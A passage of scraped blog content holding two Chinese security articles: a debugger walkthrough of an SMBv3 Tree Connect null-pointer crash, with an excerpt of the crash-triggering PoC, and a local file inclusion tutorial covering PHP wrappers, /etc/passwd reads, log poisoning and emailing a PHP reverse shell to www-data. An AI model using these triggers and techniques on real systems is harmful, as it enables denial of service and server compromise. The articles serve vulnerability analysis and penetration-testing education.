fffff80a`72c21921 0f85e9010000 jne tcpip!TcpDeliverDataToClient+0x370 (fffff80a`72c21b10) 接下来，程序会回到while入口位置，接下来会进入之前提到没有进入的if语句处理，这是由于刚才没有break结束循环的原因，此时会进入if语句的处理，函数中所调用的函数都是Complete，猜测都是和结束数据包相关处理有关。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x1c1: fffff80a`72c21961 e99bfeffff jmp tcpip!TcpDeliverDataToClient+0x61 (fffff80a`72c21801) kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x61: fffff80a`72c21801 48837b0800 cmp qword ptr [rbx+8],0 kd\u0026gt; dd rbx+8 ffffc10c`a0643e60 9d8c2fa0 ffffc10c 9d8c2fa0 ffffc10c 来看一下这个if语句。\nwhile ( 1 ) { if ( v6[1] ) { if ( !*v5 ) break; v9 = v6[1]; v10 = v6[2]; *((_BYTE *)v6 + 98) \u0026amp;= 0xFEu; v69 = v9; v6[1] = 0i64; v6[2] = 0i64; v11 = vars30; v71 = v10; LODWORD(v12) = TcpSatisfyReceiveRequests(v7, 0, (__int64)v6, vars30, v5, \u0026amp;v69, \u0026amp;v66); } } 在这个if语句中，会调用TcpSatisfyReceiveRequests函数，这个函数中第六个参数，也就是v69是很关键的，这个值决定了后面的空指针引用，接下来进入这个函数。\nint __fastcall TcpSatisfyReceiveRequests(PKSPIN_LOCK SpinLock, char a2, __int64 a3, signed int a4, __int64 *a5, __int64 *a6, _DWORD *a7) { v8 = *a5; v95 = SpinLock; v9 = *a6; // RBP+148 v38 = *(_QWORD *)(v9 + 48); v39 = *(_QWORD *)(v9 + 56); v40 = *(_QWORD *)(v9 + 8); v41 = *(_QWORD *)(v9 + 72); v93 += v38; v99 += *(_QWORD *)(v9 + 40); v42 = *(_QWORD *)v9; _guard_dispatch_icall_fptr(v40, 0i64, v38, v39);// call WskProTLReceiveComplete 这个函数中的 guard dispatch icall fptr调用了WskProTLreceiveComplete函数，而v40参数和v9结构体有关，v9是由传入第六个参数，也就是刚才提到的v69有关，v69又来自于v6[1]，而这个结构体是和Complete有关，但是在TreeConnect数据包中却没有对这个结构体进行赋值。\n随后在WskProTLReceiveComplete中，会将rcx，也就是第一个参数v40，进行传递（64位Windows系统中，参数传递通过寄存器，第一个参数是rcx，第二个是rdx，第三个是r8，第四个是r9）。在后面的分析中，省略了无关的汇编过程，只留关键的给大家分享。\nkd\u0026gt; p afd!WskProTLReceiveComplete+0x34: fffff80a`7365aa84 488bd9 mov rbx,rcx ………… kd\u0026gt; p afd!WskProTLReceiveComplete+0x8e: fffff80a`7365aade 488bcb mov rcx,rbx kd\u0026gt; r rbx rbx=ffffc10ca01ba010 kd\u0026gt; p afd!WskProTLReceiveComplete+0x91: fffff80a`7365aae1 ff15512d0200 call qword ptr [afd!_imp_IofCompleteRequest (fffff80a`7367d838)] 经过一系列传递后，这个第一个参数会直接传给IofCompleteRequest函数，这个函数是irp完成函数，其实是一个中间过程，同步irp完成，后面就是善后工作。\n在函数中，参数继续传递。\nkd\u0026gt; p nt!IopfCompleteRequest+0xb: fffff800`9464b81b 4881ec00010000 sub rsp,100h kd\u0026gt; p nt!IopfCompleteRequest+0x12: fffff800`9464b822 488bd9 mov rbx,rcx ………… kd\u0026gt; p nt!IopfCompleteRequest+0x109: fffff800`9464b919 488bd3 mov rdx,rbx kd\u0026gt; p nt!IopfCompleteRequest+0x10c: fffff800`9464b91c 488bce mov rcx,rsi kd\u0026gt; p nt!IopfCompleteRequest+0x10f: fffff800`9464b91f ff5735 call qword ptr [rdi+35h] kd\u0026gt; t Breakpoint 0 hit mrxsmb!SmbWskReceiveComplete: fffff80a`731d6950 48895c2408 mov qword ptr [rsp+8],rbx 在IofCompleteRequest函数中，会有一处调用回到SmWskReceivComplete函数，而结构体会交给rdx，也就是第二个参数进入这个函数。随后这个参数会连续传递。先来看一下之前的堆栈回溯。\nkd\u0026gt; kb RetAddr : Args to Child : Call Site fffff800`9464b922 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : mrxsmb!SmbWskReceiveComplete fffff80a`7365aae7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopfCompleteRequest+0x112 fffff80a`72c60d9d : fffff800`963d54a8 ffffc10c`9ed02780 fffff800`963d54b0 fffff800`963d547c : afd!WskProTLReceiveComplete+0x97 fffff80a`72c21860 : 00000000`00000002 ffffc10c`a0643d00 00000000`00000007 00000000`00000000 : tcpip!TcpSatisfyReceiveRequests+0x3cd 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : tcpip!TcpDeliverDataToClient+0xc0 之后参数会连续进行传递，首先会把当前rdx＋b8存放的值交给r14，之后把r14+40位置的值交给r8，最后引用的就是r8+98位置的值。\nkd\u0026gt; p mrxsmb!SmbWskReceiveComplete+0x1d: fffff80a`731d696d 488bda mov rbx,rdx kd\u0026gt; p mrxsmb!SmbWskReceiveComplete+0x20: fffff80a`731d6970 4c8bb2b8000000 mov r14,qword ptr [rdx+0B8h] ………… kd\u0026gt; p mrxsmb!SmbWskReceiveComplete+0x7f: fffff80a`731d69cf 4d8b4640 mov r8,qword ptr [r14+40h]//1 kd\u0026gt; dd r14+40 ffffc10c`a01ba168 9fdf3c58 ffffc10c 可以看到，这个过程并没有对这个值进行检查，由于结构体不透明，不能确定到底对应存放的是什么，但其实这个结构体的连续调用我们可以理解为 KPCR -\u0026gt; KTHREAD -\u0026gt; _EPROCESS -\u0026gt; Token这种关系，在Windows内核有很多这样的域以及相关的结构体，而相互又是嵌套的。\n这个结构体的值为0x0的原因可能就是由于这个complete部分的数据包是由于SMB Tree Connect过长引起的，而mrxsmb20.sys中却没有对相关结构体进行检查。\nkd\u0026gt; p mrxsmb!VctIndDataReady+0x36: fffff80a`731d6a56 498bf8 mov rdi,r8 ………… kd\u0026gt; p mrxsmb!VctIndDataReady+0x146: fffff80a`731d6b66 488bd7 mov rdx,rdi kd\u0026gt; p mrxsmb!VctIndDataReady+0x149: fffff80a`731d6b69 488bcb mov rcx,rbx kd\u0026gt; p mrxsmb!VctIndDataReady+0x14c: fffff80a`731d6b6c ff15eeed0200 call qword ptr [mrxsmb!_guard_dispatch_icall_fptr (fffff80a`73205960)] kd\u0026gt; r rdx rdx=ffffc10c9fdf3c58 kd\u0026gt; t mrxsmb!guard_dispatch_icall_nop: fffff80a`731d8a30 ffe0 jmp rax kd\u0026gt; p mrxsmb20!Smb2TreeConnect_CopyData: fffff80a`7546b6c0 48895c2410 mov qword ptr [rsp+10h],rbx 最后进入CopyData后，会引用这个结构体＋98偏移位置的值，进入漏洞触发的函数，而没有对这个值进行检查。\nkd\u0026gt; p mrxsmb20!Smb2TreeConnect_CopyData+0x32: fffff80a`7546b6f2 488b8b98000000 mov rcx,qword ptr [rbx+98h] kd\u0026gt; p mrxsmb20!Smb2TreeConnect_CopyData+0x39: fffff80a`7546b6f9 e8c210ffff call mrxsmb20!Smb2ValidateNegotiateInfo (fffff80a`7545c7c0) kd\u0026gt; dd rbx+98 ffffc10c`9fdf3cf0 00000000 00000000 最后在函数中引用空指针，引发了BSOD。\n关于这个结构体的问题我还是比较在意的，希望未来能够更深入的分析SMB的各种机制，元宵快乐！新的一年，大家一起加油！谢谢大家！\n","permalink":"https://www.lucien116.com/archives/250/","summary":"\u003cp\u003e作者： \u003cstrong\u003ek0shl\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e作者博客： \u003ca href=\"http://whereisk0shl.top/\"\u003ehttp://whereisk0shl.top\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"前言\"\u003e前言\u003c/h3\u003e\n\u003cp\u003e我是菜鸟，大牛轻喷……\u003c/p\u003e\n\u003cp\u003e这个SMBv3漏洞是由lgandx爆出的一个未被微软修复的漏洞（暂未发布补丁），漏洞出来后我进行了一定的分析，花了很多时间，这个漏洞有一些意思，但是对于SMB的整个协议通信过程非常庞大，所以没有进行非常细致的跟踪，包括一些不透明的结构体让我感到晕头转向，但到最后还是有了一些结果。\u003c/p\u003e\n\u003cp\u003e这个SMB漏洞可以看作是被动的，需要用户主动去访问445端口才可以触发，而不像ms08067一样主动攻击别人，所以需要运行漏洞脚本在操作系统上。\u003c/p\u003e\n\u003cp\u003e终于赶在元宵节这天完成了这个任务，也在这里，祝大家元宵节快乐（不知道文章发布的时候过没过元宵节23333）！\u003c/p\u003e\n\u003cp\u003e这个漏洞在twitter爆出来之后，很多老外也在微博下面问是否可以RCE，包括国内的预警中也有人问到。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://bobao.360.cn/learning/detail/3451.html\"\u003ehttp://bobao.360.cn/learning/detail/3451.html\u003c/a\u003e \u003ca href=\"http://www.freebuf.com/vuls/126100.html\"\u003ehttp://www.freebuf.com/vuls/126100.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e那么很多人看到PoC中的关键部分，就会想：有填充数据，会不会是缓冲区溢出！\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cp\"\u003e## Tree Connect\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x03\\x00\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ehead\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eSMBv2Header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCmd\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x03\\x00\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eMessageId\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nf\"\u003eGrabMessageID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ePID\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xff\\xfe\\x00\\x00\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTID\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\\x00\\x00\\x00\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eCreditCharge\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nf\"\u003eGrabCreditCharged\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eCredits\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nf\"\u003eGrabCreditRequested\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eNTStatus\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\\x00\\x00\\x00\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSessionID\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nf\"\u003eGrabSessionID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eSMB2TreeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"mi\"\u003e1500\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"err\"\u003e#\u003c/span\u003e\u003cspan class=\"c1\"\u003e//BUG\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003epacket1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehead\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nf\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ebuffer1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003elongueur\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epacket1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003epacket1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;[*]Triggering Bug; Tree Connect SMBv2 packet sent.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003esend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003erecv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1024\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e答案是否定的，至少在我看来，大量的数据目的并非是为了填充缓冲区，而是为了绕过tcpip.sys的某处判断，从而进入漏洞出发的函数调用逻辑。\u003c/p\u003e\n\u003cp\u003e问题出现在smbv2后的一个特性Tree Connect，用来处理共享服务的特性，opcode：0x03，而整个问题，确是多个地方导致的。下面我们就一起来进入今天的旅程吧！\u003c/p\u003e\n\u003cp\u003eGithub地址： \u003ca href=\"https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect\"\u003ehttps://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"漏洞复现\"\u003e漏洞复现\u003c/h3\u003e\n\u003cp\u003e首先，网上关于这个漏洞的触发方法有很多，比较通用的是twitter中某老外提到的Powershell的方法，最为简单，首先我们调试的环境是：Windows 10 x64 build 1607\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/02/1-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们在kali2.0里运行漏洞脚本。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/02/2-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e随后执行\u0026quot;dir \\ip\\PATH\u0026quot;，漏洞触发，通过windbg双机联调，此时捕捉到了BSOD。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/02/3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到提示此时问题出现在mrxsmb20.sys中，问题函数是Smb2ValidateNegotiateInfo，来看一下触发位置的代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekd\u0026gt; p\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emrxsmb20!Smb2ValidateNegotiateInfo+0x17:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003efffff803`1869c7d7 66394114        cmp     word ptr [rcx+14h],ax\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekd\u0026gt; r rcx\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ercx=0x00000000`00000000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e此时rcx的值为0x0，是一处无效地址，因此这是由于空指针引用导致的BSOD，接下来继续执行可以看到Windows 10引发蓝屏。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/02/4-1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"回溯及数据包分析important\"\u003e回溯及数据包分析(important!)\u003c/h3\u003e\n\u003cp\u003e我们来看一下mrxsmb20.sys关于Tree Connect特性的一些内容，代码逻辑相对简单。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/02/5-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到执行到Smb2ValidateNegotiateInfo函数有两条逻辑调用，一个是Smb2TreeConnect_CopyData，一个是Smb2TreeConnect_Receive，这里我就把我回溯的结果和大家分享一下，首先，通过Smb2TreeConnect_Receive来接收smb的Tree Connect数据，这个是通过opcode来决定的。\u003c/p\u003e\n\u003cp\u003e正常情况下不会进入Smb2TreeConnect_CopyData，但一旦由不正常（后面会提到）数据包执行，则会在Receive之后进入CopyData函数的处理逻辑，从而引发漏洞。\u003c/p\u003e","title":"SMBv3远程拒绝服务(BSOD)漏洞分析"},{"content":"概述\n通过加强对本地文件包含(LFI)渗透测试技术的研究，可以帮助渗透测试人员和学生在未来的渗透测试过程中，识别和测试LFI漏洞。在Web程序渗透测试中，利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外，在本文中提到有一些技术，在CTF大赛中也经常被利用。\n什么是本地文件包含(LFI)漏洞?\nLFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下，就有可能存在这个漏洞，该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。\n漏洞代码实例\n如下图，这是一个存在本地文件包含漏洞的PHP代码：\n在WEB应用程序中识别LFI\nLFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本，对于下一步的LIF测试，都是一个很好的切入点，例如：\n对于渗透测试人员，可以尝试通过操纵文件位置参数来利用它，就像是这样的：\n上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。\n下图是在一个WEB应用程序中，成功利用LFI漏洞的例子：\nPHP封装\nPHP的大量封装经常被滥用，有可能导致绕过输入过滤。\nPHP Expect封装\nPHP的“expect://”允许执行系统命令，不过，PHP expect模块在默认情况下是没有启用的。\nPHP file://封装\n下图是一个带有payload的POST请求：\n下图利用php://input攻击DVWA，包含了一个“ls”命令，如下：\n攻击后的响应情况如下图：\nPHP php://filter\nPHP php://filter允许渗透测试人员包含本地文件，并将输出数据用BASE64编码。当然，用BASE64编码的输出数据需要经过解码，还原出原始内容。\n攻击实例如下：\n运行结果如下：\n然后对输出结果进行BASE64解码。\n如上所示，已经还原出原始内容。\n当然，php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果：\n结果如下：\nPHP ZIP封装LFI\nPHP ZIP封装主要在服务器端处理上传的.zip文件，攻击者可以通过一个存在漏洞的文件上传功能，上传一个ZIP文件，并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的：\n1.创建一个PHP反弹SHELL(SHELL.php)。\n2.将其压缩成一个.zip文件。\n3.将这个.zip文件上传到远程服务器。\n4.利用PHP ZIP封装提取PHP SHELL，使用“php?page=zip://path/to/file.zip%23shell”。\n5.上面的命令会将提取的文件存储为名为SHELL.php的文件，如果服务器端没有添加.php后缀，可以通过重命名来添加。\n如果文件上传功能不允许上传ZIP文件，可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。\n通过/proc/self/environ执行LFI\n通过本地文件包含漏洞,查看是否可以包含/proc/self/environ文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中，本地文件包含漏洞会利用并执行/proc/self/environ，用于重新加载环境变量，最后会执行你的反弹shell。\n空字节技术\n通过在URL编码中增加“空字节”，比如“00%”，在某些情况下能绕过WEB应用程序中的过滤。通常，增加空字符后，后端的WEB应用程序对该输入有可能会放行或不处理，从而可以绕过WEB应用黑名单过滤器。\n下面是一些特殊的LFI空字节注入的实例：\n截断LFI绕过\n截断是另一个绕过黑名单的技术，通过向有漏洞的文件包含机制中注入一个长的参数，WEB应用有可能会“砍掉它”(截断)输入的参数，从而有可能绕过输入过滤。\nLFI截断实例：\n日志文件污染\n日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常，访问目标系统上的某些对外开放的服务时，系统会自动将访问记录写入到日志文件中，利用这个机制，有可能会将代码写入到日志中。例如，利用一个包含PHP反弹shell的URL访问目标系统时，目标系统会返回一个404页面，并将创建一个apache的访问记录，记录中会包含之前的PHP反弹shell。利用之前已经发现的文件包含漏洞，可以解析apache的日志文件，从而执行日志中的PHP反弹shell。\n在将源代码导入到目标系统的日志文件之后，下一步就是确定日志文件的位置。在对WEB服务器进行渗透测试的侦察和发现阶段，通常我们都会通过扫描来收集目标系统的信息，一个好的出发点是查找被识别的操作系统和WEB服务器的默认日志路径。结合“Burp intruder”和“FuzzDB的Burp LFI载荷列表”，我们可以很快在目标系统中识别出有效的日志文件位置。\n下面是一些常用的、在linux或UNIX上对外开放的服务： 1Apache/Nginx 可以使用netcat将代码注入到WEB服务器访问或错误日志中，然后通过之前发现的LFI漏洞，解析本地的日志文件。如果WEB服务器的日志文件太长，执行你的代码可能需要一些时间。\n通过邮件给目标机器发送一个反弹shell\n如果目标机器直接或通过网络上的另一台机器转发电子邮件，并将邮件存储在系统的www-data用户下(或者其它apache的用户)，通过电子邮件给目标发送一个反弹shell是完全有可能的。如果域名不存在MX记录，但是SMTP对外可以访问，那么就有可能连接到目标邮件服务器，并向www-data/apache用户发送邮件。邮件要发送到当前正在运行apache的用户上，这才能确保用户帐户有权限访问到该用户的邮件数据目录，及数据中注入的PHP反弹shell。在该实例中，用户帐户是www-data，邮件目录是/var/spool/mail/www-data。\n在实际攻击中，首先使用一个已知的UNIX/LINUX帐户名称列表来对目标系统进行枚举，如下：\n如上图：使用smtp-user-enum脚本确认www-data用户帐户存在于系统中。\n下面的图片显示通过telnet给www-data用户发送邮件的过程：\n下图显示的www-data邮件脱机文件中含有被发送过去的PHP反弹shell代码。\n利用netcat监听本地80端口，用于目标系统中PHP反弹SHELL的回连，如下图，PHP SHELL成功反弹：\n参考\nhttps://highon.coffee/blog/lfi-cheat-sheet/\nhttps://www.owasp.org/index.php/PHP_File_Inclusion\nDVWA(用于LFI实例):http://www.dvwa.co.uk/\n","permalink":"https://www.lucien116.com/archives/246/","summary":"\u003cp\u003e概述\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e通过加强对本地文件包含(LFI)渗透测试技术的研究，可以帮助渗透测试人员和学生在未来的渗透测试过程中，识别和测试LFI漏洞。在Web程序渗透测试中，利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外，在本文中提到有一些技术，在CTF大赛中也经常被利用。\u003c/p\u003e\n\u003cp\u003e什么是本地文件包含(LFI)漏洞?\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eLFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下，就有可能存在这个漏洞，该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。\u003c/p\u003e\n\u003cp\u003e漏洞代码实例\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e如下图，这是一个存在本地文件包含漏洞的PHP代码：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/159f0003bda95c82ef21\"\u003e\u003c/p\u003e\n\u003cp\u003e在WEB应用程序中识别LFI\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eLFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本，对于下一步的LIF测试，都是一个很好的切入点，例如：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a000015eca4804c951\"\u003e\u003c/p\u003e\n\u003cp\u003e对于渗透测试人员，可以尝试通过操纵文件位置参数来利用它，就像是这样的：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/159d000432f9156bc666\"\u003e\u003c/p\u003e\n\u003cp\u003e上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。\u003c/p\u003e\n\u003cp\u003e下图是在一个WEB应用程序中，成功利用LFI漏洞的例子：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p3.pstatp.com/large/15a000015ecce6ec847e\"\u003e\u003c/p\u003e\n\u003cp\u003ePHP封装\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003ePHP的大量封装经常被滥用，有可能导致绕过输入过滤。\u003c/p\u003e\n\u003cp\u003ePHP Expect封装\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003ePHP的“expect://”允许执行系统命令，不过，PHP expect模块在默认情况下是没有启用的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"渗透测试技术之本地文件包含\" loading=\"lazy\" src=\"http://p1.pstatp.com/large/1539000346c9b73e3dae\"\u003e\u003c/p\u003e\n\u003cp\u003ePHP 